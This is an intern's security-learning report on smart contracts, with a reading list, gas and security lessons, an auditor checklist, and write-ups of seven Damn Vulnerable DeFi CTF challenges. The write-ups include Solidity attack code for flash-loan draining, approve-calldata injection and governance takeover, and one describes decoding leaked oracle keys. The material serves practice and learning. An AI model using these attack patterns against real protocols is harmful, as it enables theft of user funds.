Curvance Internship

Learning Objective#1

Learn the Best Security Practices and Pitfalls

@gas_limit

3rd Sep to 8th Oct, 2023

Introduction

1. Weekly Goals and Performance
2. Reading list
3. Lessons Learned
4. Developer / Auditor Checklist
5. Capture the Flag

Weekly Goals & Performance

Date	Objectives	Summary
Sep 3 to Sep 9, 2023	Read 5 Audit Reports Take 4 Epochs of Secureum RACE Quizzes, and Read Articles	Read 2 Audit reports, Took Epochs 1,2,3,4 of Secureum RACE, read Secureum Bootcamp Lessons, read articles about auditor best practices, and a post mortem of a recent exploit
Sep 10 to Sep 16, 2023	Read 5 Audit Reports Take 2 Epochs of Secureum RACE Quizzes, and do 1 CTF, add 3 things to the checklist	Read 3 audit reports, Took Epoch 5, 6 of Secureum Race, read Secureum Bootcamp Lessons, read article on gas optimizations, did 1 CTF
Sep 17 to Sep 23, 2023	Read 3 audit reports, take 2 epochs of Secureum Race Quizzes, do 1 CTF and add 3 things to the checklist	Read 2 audit reports, the complexity of the findings was significant so a large amount of time was spent understanding it, did 2 CTFs, Took Epoch 7, 8 of Secureum Race, Participated in ETHGlobal NY hackathon, Added a large amount to the checklist.
Sep 24 to Sep 30, 2023	Finish up the checklist, do CTF's, and read reports on Solidit.	Added a large amount to the checklist, Completed 2 CTF, Read Findings on Solodit, Took Epoch 9 of Secureum Race
Oct 1 to Oct 7, 2023	Do CTF's, and read reports on Solidit.	Read Audit Findings on Solodit, read articles, Took Epoch 10 of Secureum Race, Completed 2 CTFs

Reading List

1. Helping Curve Save $6m of User funds by Addison Spiegel
   https://addison.is/posts/curve-whitehat
2. Security Pitfalls & Best Practices 101 by Secureum
   https://secureum.substack.com/p/security-pitfalls-and-best-practices-101
3. Security Pitfalls & Best Practices 201 by Secureum
   https://secureum.substack.com?utm_source=navbar&utm_medium=web
4. Alpaca Delta Neutral Vault by BlockSec
   https://assets.blocksec.com/pdf/1660885536236-3.pdf
5. Ribbon Finance's RibbonCoveredCall, GammaAdapter, and ProtocolAdapter by Chainsafe
   https://github.com/ChainSafe/audits/blob/main/Ribbon%20Finance/ribbon-finance-04-2021.pdf
6. Prisma Finance by Zellic
   https://3654112834-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1tAi6RdL45CCiZaxKFFS%2Fuploads%2F9SeetQ06KC5VuhSnoNDG%2FPrisma_Finance_-_Zellic_Audit_Report.pdf?alt=media&token=dec46e84-fc02-4b3c-afb5-f851dcb7a3b8
7. Audit Techniques & Tools 101 by Secureum
   https://secureum.substack.com/p/audit-techniques-and-tools-101
8. GMX V1/Gambit by Quantstamp
   https://github.com/gmx-io/gmx-contracts/blob/master/audits/Quantstamp_Audit_Report.pdf
9. GMX V2 by Sherlock
   https://github.com/gmx-io/gmx-synthetics/blob/main/audits/sherlock/Sherlock_GMX_Update_Audit_Report.pdf
10. RareSkills Book of Gas Optimization by Jeffrey Scholz
    https://www.rareskills.io/post/gas-optimization
11. GMX V2 by Guardian Audits (1 of 8)
    https://github.com/GuardianAudits/Audits/blob/main/GMX/2022-10-24_GMX_Synthetics.pdf
12. Audit Techniques & Tools 101
    https://secureum.substack.com/p/audit-techniques-and-tools-101
13. Blueberry by Sherlock Audits (0x52 Rare Findings)
    https://github.com/sherlock-audit/2023-05-blueberry
14. Understanding Compounds Liquidations by Tal Be'ery
    https://zengo.com/understanding-compounds-liquidation/

15. Set Protocol/ Index by Sherlock Audits (0x52 Rare Findings)
    https://github.com/sherlock-audit/2023-05-Index
16. Hubble Exchange by Sherlock Audits (0x52 Rare Findings)
    https://github.com/sherlock-audit/2023-04-hubble-exchange
17. DODO v3 by Sherlock Audits (0x52 Rare Findings)
    https://github.com/sherlock-audit/2023-06-dodo
18. IronBank by Sherlock Audits (0x52 Rare Findings)
    https://github.com/sherlock-audit/2023-05-ironbank
19. PartyDAO by Cod4rena (0x52 Rare Findings)
    https://code4rena.com/reports/2023-04-party

Lessons Learned

1. **Use Higher Precision**
   Increase the precision of your calculations by using a larger fixed-point base. If you're using 1e18, consider using a higher base like 1e36 for intermediate calculations.

2. **Delay Division**
   Always multiply before dividing. This ensures that you're working with the largest numbers possible, which reduces the chance of truncation and rounding errors.

3. **Compare Expected Withdraw Value with Actual Withdraw Value**
   Always validate that the actions taken by the users are in line with the expected behavior.

4. **Complexity Can Be a Breeding Ground for Bugs**
   The more complex a contract or function is, the more likely it is to have vulnerabilities.

5. **Check for Stale/Outdated Price Data from Oracles**
   Compare timestamps returned from price checks to the current timestamp. Define a maximum time threshold and handle outdated prices accordingly.

6. **User-Friendly Design**
   It's crucial to design contracts that minimize the potential for user error. If a function is likely to be misused or misunderstood, it might be worth reconsidering its design.

7. **Avoid Duplicated Calculations**
   Several unnecessary calls to other functions may cause extraneous gas usage.

8. **Clean Up Code**
   Remove irrelevant comments, or unused code to increase readability.

9. **Revert Early Into the Code**
   When a `require` statement (or `assert`, `revert`, etc.) is triggered, the transaction is reverted, and all the gas consumed up to that point is not refunded. The gas used is essentially "wasted." However, the remaining gas that was not yet consumed is returned to the sender. If a transaction is likely to fail due to a certain condition, it's more efficient to check that condition as early as possible in the function. By doing so, you avoid performing unnecessary operations and consuming more gas than needed before hitting the `require` statement. Also, it is often clearer to handle preconditions and checks at the

beginning of a function. This makes the code more readable and ensures that any prerequisites for the function's logic are met upfront.

10. **Interfaces Run a "Dry Run" or "Simulation" Before the Actual Transaction**
    If this simulation detects that the transaction will fail (e.g., due to a `require` condition not being met), the wallet will typically warn the user that the transaction may fail. This can prevent users from submitting transactions that are doomed to revert, saving them from wasting gas.
    Considerations:

    a. Even if a user is warned and chooses to proceed (or if they don't receive a warning), placing the `require` checks early in the function can still save them gas. If a transaction is going to fail, it's better for it to fail after consuming 10,000 gas units rather than 100,000.

    b. Some transactions might be part of a more complex series of calls, like in a DeFi protocol where multiple contracts interact. In such cases, the dry run might not always catch every potential failure, especially if conditions change between the simulation and the actual transaction (e.g., due to other transactions being mined in between).

11. **Understand Assumptions**
    Contracts often operate under certain assumptions (e.g., only working with Call options vs working with Put calls). It's essential to validate these assumptions in the code.

12. **Product-Sum Approach for Scalable Reward Distribution with Compounding Stakes (LUSD Protocol)**
    Since it would cost a lot of gas to update each depositor of the stability pools balance when liquidations occur, two variables can be used, Product - Cumulative Depletion Factor, and Sum, Accumulated Gains. These two variables are mapped to an epoch, which successfully scales user balances with requiring minimal computation.
    https://github.com/liquity/liquity/blob/master/papers/Scalable_Reward_Distribution_with_Compounding_Stakes.pdf

13. **Precision Matters**
    In systems like Ethereum, which use fixed-point arithmetic, precision is crucial. Small discrepancies can lead to significant vulnerabilities, especially when dealing with very large or very small numbers.

14. **Understand the Math Behind the Code**
    It's not enough to just review the code; auditors must understand the mathematical principles and formulas that the code implements.

15. **Always Double-Check Return Values**
    Ensure that return values accurately reflect the intended logic and calculations of the function.

16. **Math Operations Require Extra Attention**
    Blockchain transactions are immutable. Errors, especially those related to mathematical operations (like rounding errors in division), can lead to significant issues. Always be wary of potential overflows, underflows, and rounding issues.

17. **Follow the Flow of Tokens and Rewards**
    In DeFi projects, it's essential to trace how tokens and rewards flow within the system. Ensure that all paths (like fee distributions) lead to the expected outcomes.

18. **Include test suites prior to sending code for an audit (as a builder)**

    Quoted from Prisma Finance Audit by Zellic
    “When building a complex contract ecosystem with multiple moving parts and dependencies, comprehensive testing is essential. This includes testing for both positive and negative scenarios. Positive tests should verify that each function’s side effect is as expected, while negative tests should cover every revert, preferably in every logical branch. Good test coverage has multiple effects.
        - It finds bugs and design flaws early (preaudit or prerelease).
        - It gives insight into areas for optimization (e.g., gas cost).
        - It displays code maturity.
        - It bolsters customer trust in your product.
        - It improves understanding of how the code functions, integrates, and operates — for developers and auditors alike.

    Therefore, we recommend building a rigorous test suite that includes all contracts to ensure that the system operates securely and as intended.”

19. **Always Check for Timestamp Dependence**
    Miners can slightly manipulate block timestamps. While the deviation is limited (by the protocol to be within a certain range of the actual time), it can still be exploited in some scenarios.

20. **Post Deployment Checks**
    Add post-deployment checks to check the public fields are set correctly and run a smoke and integration test after deployment to each environment.

21. **Allowance Double-Spend Exploit**
    Developers of applications dependent on approve()/transferFrom() should keep in mind that they have to set allowance to 0 first and verify if it was used before setting the new value.

22. **Role Changes Should Be Multiple Steps**
    In a setRole() function, there should be multiple steps involved as a safety measure to prevent invalid address input.

23. **Optimization Tip: Avoid Zero to One Storage Writes Where Possible**
    Initializing a storage variable is one of the most expensive operations a contract can do.

24. **Optimization Tip: Use unsafeAccess in OpenZeppelin's Arrays.sol**
    This function allows developers to access an array's element by its index without the usual length check.

25. **Optimization Tip: Use Bitmaps Instead of Bools When a Significant Amount of Booleans are Used**
    Using bitmaps instead of individual booleans is a smart optimization technique when dealing with operations that involve marking a large number of entities (like addresses) with a binary state (like claimed/not claimed). It maximizes the efficiency of Ethereum's storage mechanism, leading to reduced gas costs.

26. **Optimization Tip: Avoid Having ERC20 Token Balances Go to Zero, Always Keep a Small Amount**
    If an address is frequently emptying (and reloading) it’s account balance, this will lead to a lot of zero to one writes.

27. **Optimization Tip: Make Constructors Payable**
    Making the constructor payable saved 200 gas on deployment. This is because non-payable functions have an implicit require(msg.value == 0) inserted in them. Additionally, fewer bytecode at deploy time mean less gas cost due to smaller calldata.

28. **Optimization Tip: Admin Functions Can Be Payable**
    We can make admin specific functions payable to save gas, because the compiler won’t be checking the callvalue of the function.

29. **Optimization Tip: Custom Errors are (Usually) Smaller Than Require Statements**
    Custom errors are cheaper than require statements with strings because of how custom errors are handled.

30. **Optimization Tip: Prefer strict inequalities over non-strict inequalities, but test both alternatives**
    It is generally recommended to use strict inequalities (<, >) over non-strict inequalities (<=, >=).

31. **Optimization Tip: Split Require Statements That Have Boolean Expressions**
    When we split require statements, we are essentially saying that each statement must be true for the function to continue executing. If the first statement evaluates to false, the function will revert immediately and the following require statements will not be examined. This will save the gas cost rather than evaluating the next require statement.

32. **Optimization Tip: Use ++i Instead of i++ to Increment**
    The reason behind this is in way ++i and i++ are evaluated by the compiler. i++ returns i(its old value) before incrementing i to a new value. This means that 2 values are stored on the stack for usage whether you wish to use it or not. ++i on the other hand, evaluates the ++ operation on i (i.e it increments i) then returns i (its incremented value) which means that only one item needs to be stored on the stack.

33. **Optimization Tip: Make for loop Index Unchecked**
    i.e. unchecked { ++i }

34. **Optimization Tip: do-while Loops are Cheaper Than for loops**

```
function loop(uint256 times) public pure {
      if (times == 0) {
            return;
      }
      uint256 i;
      do {
            unchecked {
                  ++i; }
             } while (i < times);
      }
}
```

35. **Optimization Tip: Avoid Unnecessary Variable Casting, variables smaller than uint256 (including boolean and address) are less efficient unless packed**
    It is better to use uint256 for integers, except when smaller integers are necessary. This is because the EVM automatically converts smaller integers to uint256 when they are used. This conversion process adds extra gas cost, so it is more efficient to use uint256 from the start.

36. **Optimization Tip: Prefer Very Large Values for the Optimizer**
    There's a trade-off involved in selecting the runs parameter for the optimizer. Smaller run values prioritize minimizing the deployment cost, resulting in smaller creation code but potentially unoptimized runtime code. While this reduces gas costs during deployment, it may not be as efficient during execution.vConversely, larger values of the runs parameter prioritize the execution cost. This leads to larger creation code but an optimized runtime code that is cheaper to execute. While this may not significantly affect deployment gas costs, it can significantly reduce gas costs during execution.

37. **Optimization Tip: It is Sometimes Cheaper to Cache Calldata**
    Although the calldataload instruction is a cheap opcode, the solidity compiler will sometimes output cheaper code if you cache calldataload. This will not always be the case, so you should test both possibilities.

38. **Optimization Tip: Internal Functions Only Used Once Can Be Inlined to Save Gas**
    It is okay to have internal functions, however they introduce additional jump labels to the bytecode. Hence, in a case where it is only used by one function, it is better to inline the logic of the internal function inside the function it is being used. This will save some gas by avoiding jumps during the function execution.

39. **Optimization Tip: Compare array equality and string equality by hashing them if they are longer than 32 bytes**
    This is a trick you will rarely use, but looping over the arrays or strings is a lot costlier than hashing them and comparing the hashes.

40. **Optimization Tip: Use gasleft() to Branch Decisions at Key Points**
    Gas is used up as the execution progresses, so if you want to do something like terminate a loop after a certain point or change behavior in a later part of the execution, you can use the gasprice() functionality to branch decision making. gasleft() decrements for "free" so this saves gas.

41. **Ensure Accurate Asset Valuation in Complex Financial Systems:** Inadequate or simplistic valuation methodologies can lead to severe financial risks, including the potential for insolvency. Rigorous testing and validation of financial models are essential, especially when multiple variables and parameters are involved.

42. **The Importance of Time-Sensitive State Management in Smart Contracts**
Meticulously consider how a smart contract's state evolves over time and how user interactions at different times can impact that state, as failing to do so can lead to unintended and potentially unfair outcomes. Always validate these aspects through comprehensive testing.

43. **The Importance of Contextual Awareness in Auditing**
When conducting an audit, it's crucial to go beyond the immediate system or codebase under review to understand its interactions with external elements and dependencies. This lesson underscores the need for "Contextual Awareness," which involves considering how a system interfaces with broader infrastructure, other systems, or external services. Failure to account for these interactions can lead to overlooked vulnerabilities or issues, as demonstrated by the case of a smart contract's Dutch auction mechanism not accounting for Layer 2 sequencer downtime. Therefore, a comprehensive audit should always include an evaluation of external factors and their potential impact on the system being audited.

44. **Always Consider Frontrunning Vulnerabilities**
In any system that involves transaction ordering or timing-sensitive operations, frontrunning vulnerabilities can pose significant security risks. Failing to anticipate and mitigate these risks can lead to disrupted transactions and manipulated outcomes, undermining the integrity and fairness of the system. Therefore, it's crucial to design with frontrunning safeguards in mind from the outset.

45. **It Is Critically Important To Handle Decimal Places Consistently And Accurately When Dealing With Token Pricing In Smart Contracts**
Failing to do so can lead to incorrect pricing calculations, which could have significant financial implications. Therefore, it's essential to ensure that your smart contract logic is robust enough to handle tokens with varying numbers of decimal places.

46. **Rebalance with Caution: Timing Matters**
When implementing a rebalancing mechanism for financial assets, consider the timing of component executions carefully. Changes in timing during multi-component rebalances

can lead to inefficient pricing and potential losses. Ensure that your contract logic accounts for these timing considerations to maintain the integrity of asset valuations.

Developer / Auditor Checklist

High Level Auditing Techniques: Involve a combination of different methods

a. Specification analysis (manual)
b. Documentation analysis (manual)
c. Testing (automated)
d. Static analysis (automated)
e. Fuzzing (automated)
f. Symbolic checking (automated)
g. Formal verification (automated)
h. Manual analysis (manual)

1. Specification analysis: describe in detail what (and sometimes why) the project and its various components are supposed to do functionally as part of their design and architecture.

Specify:

- What the assets are
- Where they are held
- Who are the actors
- Privileges of actors
- Who is allowed to access what and when
- Trust relationships
- Threat model

2. Documentation analysis: description of what has been implemented based on the design and architectural requirements.

- Readme files in github repo
- NatSpec
- Individual code comments
- Understanding documentation before looking at the code
- Identify mismatches between the documentation and the code
- Encourage the project team to document thoroughly

3. Testing: well-known fundamental software engineering primitive to determine if software produces expected outputs when executed with different chosen outputs.

- Expect thorough testing and testing

4. Static analysis: technique of analyzing program properties without actually executing the program

- Use slither to perform static analysis at Solidity level
- Use Mythril to analyze at EVM bytecode
- Control flow
- Data flow analysis

5. Fuzzing: automated software testing technique that involves providing invalid, unexpected, or random data as inputs to a computer program. The program is then monitored for exceptions such as crashes, failing built-in code assertions, or potential memory leaks.

- Echidna
- Harvey

6. Symbolic Checking: process of ensuring that various symbols (like variables, functions, and contract names) are used correctly and consistently throughout the codebase. This is a part of the broader code review and auditing process aimed at identifying vulnerabilities, inefficiencies, or errors in the smart contract code.

Includes checking:

- Naming Conventions
- Visibility
- Data Types
- Function Modifiers
- Library Usage
- Reuse and Redundancy
- Custom Modifiers
- Event Logging
- Error Handling
- Commenting

7. Formal verification:the act of proving or disproving the correctness of intended algorithms underlying a system with respect to a certain formal specification or property, using formal methods of mathematics

- effective at detecting complex bugs which are hard to detect manually or using simpler automated tools
- Needs a specification of the program being verified and techniques to translate/compare the specification with the actual implementation

8. Manual analysis: is complimentary to automated analysis using tools and serves a critical need in smart contract audits

- Manual analysis with humans, in contrast to automated analysis, is expensive, slow, non-deterministic and not scalable because human expertise in smart contact security is a rare/expensive skill set today and we are slower, prone to error and inconsistent.
- Manual analysis is however the only way today to infer and evaluate business logic and application-level constraints which is where a majority of the serious vulnerabilities are being found

9. False Positives: findings which indicate the presence of vulnerabilities but which in fact are not vulnerabilities. Such false positives could be due to incorrect assumptions or simplifications in analysis which do not correctly consider all the factors required for the actual presence of vulnerabilities.

- False positives require further manual analysis on findings to investigate if they are indeed false or true positives
- High number of false positives increases manual effort in verification and lowers the confidence in the accuracy of the earlier automated/manual analysis
- True positives might sometimes be classified as false positives which leads to vulnerabilities being exploited instead of being fixed

10. False Negatives: are missed findings that should have indicated the presence of vulnerabilities but which are in fact are not reported at all. Such false negatives could be due to incorrect assumptions or inaccuracies in analysis which do not correctly consider the minimum factors required for the actual presence of vulnerabilities.

- False negatives, per definition, are not reported or even realized unless a different analysis reveals their presence or the vulnerabilities are exploited
- High number of false negatives lowers the confidence in the effectiveness of the earlier manual/automated analysis.

Audit Process / Method

1. Read specification/documentation of the project to understand the requirements, design and architecture
2. Run fast automated tools such as linters or static analyzers to investigate common Solidity pitfalls or missing smart contract best-practices
3. Manual code analysis to understand business logic and detect vulnerabilities in it
4. Run slower but more deeper automated tools such as symbolic checkers, fuzzers or formal verification analyzers which typically require formulation of properties/constraints beforehand, hand holding during the analyses and some post-run evaluation of their results
5. Discuss (with other auditors) the findings from above to identify any false positives or missing analyses
6. Convey status to project team for clarifying questions on business logic or threat model

Manual Approach Checklist

General

Code Readability and Documentation

- ☐ Comments explaining complex logic
- ☐ Natspec comments for functions
- ☐ Descriptive variable and function names

Code Quality

- ☐ Adherence to coding standards and best practices
- ☐ Code reusability and modularity
- ☐ Proper error handling and revert messages

Starting with Access Control

Role-Based Access Control

- ☐ Identify roles (e.g., admin, user)
- ☐ Verify permissions for each role
- ☐ Check for unauthorized access vulnerabilities

Access Control Matrix

- [ ] Ensure permissions between subjects (who) and objects (what) are correctly implemented

Multi-Signature Requirements

- [ ] Verify if multi-signature is required for critical functions

Time-Locked Functions

- [ ] Check if critical functions have a time-lock mechanism

Starting with Asset Flow

Authorized Addresses

- [ ] Verify only authorized addresses can withdraw/deposit assets

Time Windows and Conditions

- [ ] Verify assets can only be moved in specified time windows or under specified conditions

Asset Types

- [ ] Ensure only authorized types of assets (Ether, ERC20, ERC721, etc.) are handled

Reasons for Asset Movement

- [ ] Verify assets are moved for authorized reasons

Destination Addresses

- [ ] Ensure assets are moved to authorized addresses

Amounts

- [ ] Verify only authorized amounts of assets are moved

Fee Handling

- [ ] Verify how fees are collected, distributed, and potentially withdrawn

Asset Recovery

- [ ] Check mechanisms for recovering assets in case of accidental transfers

Starting with Control Flow

Interprocedural Control Flow

- [ ] Create/analyze the call graph
- [ ] Check for reentrancy vulnerabilities

Intraprocedural Control Flow

- [ ] Review conditionals, loops, and return statements
- [ ] Check for logic bombs or other malicious code

Fallback Functions

- [ ] Review the behavior of fallback and receive functions

Event Logging

- [ ] Ensure all significant actions and state changes are logged

Starting with Data Flow

Interprocedural Data Flow

- [ ] Analyze data used as arguments for function calls

Intraprocedural Data Flow

- [ ] Analyze the assignment and use of variables within functions
- [ ] Check for underflows/overflows

Data Privacy

- [ ] Verify if sensitive data is appropriately protected (e.g., hashed)

Data Validation

- [ ] Check for proper input validation and sanitization

Inferring Constraints

Language-Level and EVM-Level Constraints

- [ ] Verify EVM gas limits, stack depth, etc.

Application-Level Constraints

- [ ] Identify and verify business logic constraints
- [ ] Use symbolic checkers for verification if possible

Economic Incentives

- [ ] Verify that the contract logic aligns with intended economic incentives

Game Theory Considerations

- [ ] Assess how the contract behaves under different adversarial conditions

Understanding Dependencies

Explicit Dependencies

- [ ] Review all import statements and inherited contracts
- [ ] Verify the integrity of external contracts (e.g., OpenZeppelin)

Implicit Dependencies

- [ ] Identify and assess dependencies on external protocols or oracles

Oracle Reliability

- [ ] Assess the reliability and trustworthiness of any oracles used

Versioning

- [ ] Ensure contract is compatible with intended versions of Solidity and EVM

Evaluating Assumptions

Access Assumptions

- [ ] Verify assumptions about who can access what and when

Initialization Assumptions

- [ ] Check if initialization functions are properly restricted

Order of Calls

- [ ] Verify assumptions about the order of function calls

Parameter Values

- [ ] Check for assumptions about parameter values (e.g., non-zero addresses)

Taint Analysis

- [ ] Ensure no attacker-controlled data can reach sensitive program locations

Gas Usage

- [ ] Analyze the gas usage of functions to prevent out-of-gas errors

Front-Running Resistance

- [ ] Check for susceptibility to front-running attacks

Additional Checks

Upgradability

- [ ] Review the contract's upgradability pattern and potential risks

Circuit Breakers

- [ ] Verify the existence and functionality of emergency stop mechanisms

Post-Deployment Procedures

- [ ] Document procedures for contract deployment and any required post-deployment actions

Capture The Flag

1. Damn Vulnerable DeFi v3 - #1 Unstoppable (Completed)
   https://www.damnvulnerabledefi.xyz/challenges/unstoppable/
   Solution:

```
uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement
```

   In the flashLoan() function, it will revert if the total amount of tokens registered in the ERC4626 solmate parent contract counter is not equal to the amount of tokens that are actually deposited in the vault contract. I transferred 1 ether (10n ** 18n) of asset token to the vault, which made the two values unequal, which prevented the vaults ability to do flash loans.

2. Damn Vulnerable DeFi v3 - #2 Naive Receiver (Completed)
   https://www.damnvulnerabledefi.xyz/challenges/naive-receiver/
   Solution:
   The vulnerability lies in the receiver contract, the callback function (onFlashLoan()) is hard coded to transfer 1 ether to the Lending Pool contract for every loan.

```
// Return funds to pool
SafeTransferLib.safeTransferETH(pool, amountToBeRepaid);
```

   All I need to do to drain the whole receiver contract is call the flashLoan() function in the lending pool 10 times which transfers out all 10 ether. I coded the attack in javascript initially, and a bonus was to drain the ether in one transaction. I did not do the bonus because I tried to stick to just javascript, but could be easily attainable by writing an attack contract which calls the flashLoan contract 10x in one transaction. This is possible because the receiver contract lacks access control.

3. Damn Vulnerable DeFi v3 #3 Truster (Looked Up Answer)
   https://www.damnvulnerabledefi.xyz/challenges/truster/
   I thought of every bad practice on the surface, like lack of input validation, or some kind of reentrancy exploit, but the exploit lies in the low level external call inside of the flashLoan() function of the TrusterLendingPool contract.

```
target.functionCall(data);
```

I tried to think of ways that some kind of external call could trick this contract's logic, but I couldn't think of one.

Solution: I looked up the answer and it turns out that the exploit is actually in the external ERC20 token that the contract uses. The low level call that the TrusterLendingPool contract has can be unsafe because it lacks access control. The impact is a malicious call can be made to the ERC20 token to increase the spending allowance of the attacker's address, on behalf of the TrusterLendingPool.

```
const interface = new ethers.utils.Interface(['function approve(address spender, uint256 amount)']);
const data = interface.encodeFunctionData('approve', [player.address, TOKENS_IN_POOL]);
```

The attack can be done by first concatenating the string calldata that calls the approve() function in the ERC20 token to be used in the parameters of the flashLoan() function of the TrusterLendingPool. This will increase the allowance amount of ERC20 tokens from the pool to the attacker address. Then, using a second call we can actually transfer the tokens by calling transferFrom() in the token contract which would drain the pool of its

4. Damn Vulnerable DeFi v3 #4 Side Entrance (Looked up answer)
   https://www.damnvulnerabledefi.xyz/challenges/side-entrance/
   Upon inspection, the contract looked very simple. It had only 3 functions, deposit() which was payable and updated the depositors balance, using unchecked with bypassed solidity version 0.8's overflow/underflow checks. This seemed like somewhere I could possibly exploit by inputting a very large value, but this wouldn't be the case because it would not overflow to a desirable output nor was it possible for me to input that much ether. I moved onto withdraw(), which cached the balance of the users deposited amount, cleared the amount in storage, and then called safeTransferETH() using the solady safeTransfer library aimed to be gas efficient and error reporting. Since the withdraw function followed proper check-effects-interaction pattern, I knew it was not susceptible to a reentrancy attack. Last, was the flashLoan() function. It allowed users to borrow ether at no fee, as long as the amount was returned in the same transaction. It first cached the balance before the transaction to store it to be compared at the end of the transaction. It then called a callback function in the caller contract which allowed the interacting party to borrow ether. At the end of the function, it compares the amount at the beginning of the transaction to the end of the transaction, inverting if the current balance was less than the balance that was started with at the end of the function. I thought of ways I could reenter the contract using multiple function calls, and callback functions to reenter or somehow break the logic of the code. I spent about an hour thinking of ways to no avail. I finally

gave in and looked up the answer, and took a hit to my ego after finding out the real vulnerability because it was very obvious in hindsight.

```
function flashLoan(uint256 amount) external {
    uint256 balanceBefore = address(this).balance;

    IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

    if (address(this).balance < balanceBefore)
        revert RepayFailed();
}
```

Solution: The vulnerability lies in the way that the function accounts for deposited amounts. One could write a malicious contract to first call the flashLoan contract, and in the malicious contract, code it so that the user also uses the loaned funds to call deposit() into the lender contract. This would effectively trick the protocol into thinking that the attacker contract has a balance of the flash loan amount, easily draining the funds.

```
function execute() external payable {
    // only the attacker can be the original caller
    require(tx.origin == attacker);
    // only the pool can call this function
    require(msg.sender == address(pool));

    //deposit into the pool, tricking the accounting logic
    pool.deposit {value: msg.value}();
}
```

5. Damn Vulnerable DeFi V3 #5 The Rewarder (Completed)
   https://www.damnvulnerabledefi.xyz/challenges/the-rewarder/
   Solution: The contract does not account for any time deposited, and does not enforce any time restrictions. Rewards can be distributed in the deposit function. It also does not properly implement snapshot. The attack can simply be done by writing a contract that gets a flashLoan, and in the callback function, it would call deposit() in the Reward contract using the loaned funds, make a withdrawal(), and return the loan to the flashLoan contract.

```
// Initiates the flash loan and the attack
ftrace | funcSig
function initiateAttack(uint256 loanAmount) external {

    // Take a flash loan from FlashLoanerPool
    flashLoanerPool.flashLoan(loanAmount);
}

// This function is called by FlashLoanerPool after the flash loan is given
ftrace | funcSig
function receiveFlashLoan(uint256 loanAmount) external {

    // Step 1: Deposit the flash-loaned amount into TheRewarderPool
    ERC20(liquidityToken).approve(address(rewarderPool), loanAmount);
    rewarderPool.deposit(loanAmount);

    // Step 2: Withdraw the deposited amount from TheRewarderPool
    rewarderPool.withdraw(loanAmount);

    // Step 3: Repay the flash loan to FlashLoanerPool
    ERC20(liquidityToken).transfer(address(flashLoanerPool), loanAmount);
}
```

6. Damn Vulnerable Defi V3 #6 Selfie (Completed)
   https://www.damnvulnerabledefi.xyz/challenges/selfie/

   Solution:
   The vulnerability lies in how the Governance contract handles its proposals. Each new proposal must be made by a user who possesses more than 50% of all the protocol's governance tokens. An attacker could take a flashloan that would temporarily give them the tokens, and propose some type of malicious action for the governance to take. An obvious way I saw that all the tokens can be drained is from calling the emergencyExit()

function which can only be called from the governance contract, and sends all of the tokens in the pool to a specified address.

```
function emergencyExit(address receiver) external onlyGovernance {
    uint256 amount = token.balanceOf(address(this));
    token.transfer(receiver, amount);

    emit FundsDrained(receiver, amount);
}
```

The attack can be done by getting a flashloan for more than 50% of all the tokens, and proposing an action during the flashloan (during onFlashLoan()), bypassing the checks for the necessary token amounts.

```
function attack() public {

    IERC3156FlashBorrower _receiver = IERC3156FlashBorrower(address(this));
    bytes memory _data = bytes("0x");
    address tokenAddress = address(_token);

    uint256 amount = SelfiePool.maxFlashLoan(tokenAddress);

    SelfiePool.flashLoan(_receiver, tokenAddress , amount , _data);
}
```

Below is the callback function that would be called during a flashloan, enabling the malicious proposal to be made.

```
function onFlashLoan(
    address initiator,
    address token,
    uint256 amount,
    uint256 fee,
    bytes calldata data
) external returns (bytes32) {

    // encode the payload for the governance contract
    bytes memory payload = abi.encodeWithSignature("emergencyExit(address)", attacker);

    //take snapshot
    _token.snapshot();

    // queue the action
    SimpleGovernance.queueAction(address(SelfiePool), 0, payload);

    //approve the pool contract to spend the tokens
    _token.approve(address(SelfiePool), amount);

    // return the callback function success bytes32
    return keccak256("ERC3156FlashBorrower.onFlashLoan");


}
```

7. Damn Vulnerable DeFi V3 #7 Compromised (Completed)
   https://www.damnvulnerabledefi.xyz/challenges/compromised/
   Solution: I dismissed the information in the instructions as a distraction, it turns out the answer layed there. I spent hours looking for some kind of vulnerability in the smart contract, to find out there were no programmatic problems. The only possible scenario where things could be exploited would have to be due to some kind of compromised authority. I went back to the instructions, to look for some clues. The hypothetically dysfunctional cloudflare messages were hexadecimal values, shown below.

```
While poking around a web service of one of the most popular DeFi projects in the space, you get a
somewhat strange response from their server. Here's a snippet:

HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare

4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 4

4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6
```

I decoded them to ascii and they were converted into a base64 string that looked a lot like a private key. There were three addresses that were hard coded to be price oracles in the smart contract. I made a script that tested to see if any of the private keys matched any of the oracle addresses.

```
PS C:\Users\black\damn-vulnerable-defi> node wallettest.js
Private Key 1 is correct and matches the given address: 0xe92401A4d3af5E446d93D11EEc806b1462b39D15
Private Key 2 is correct and matches the given address: 0x81A5D6E50C214044bE44cA0CB057fe119097850c
```

Using a compromised price oracle, I could manipulate the price that the exchange contract used to drain the exchange of its 1000 ether.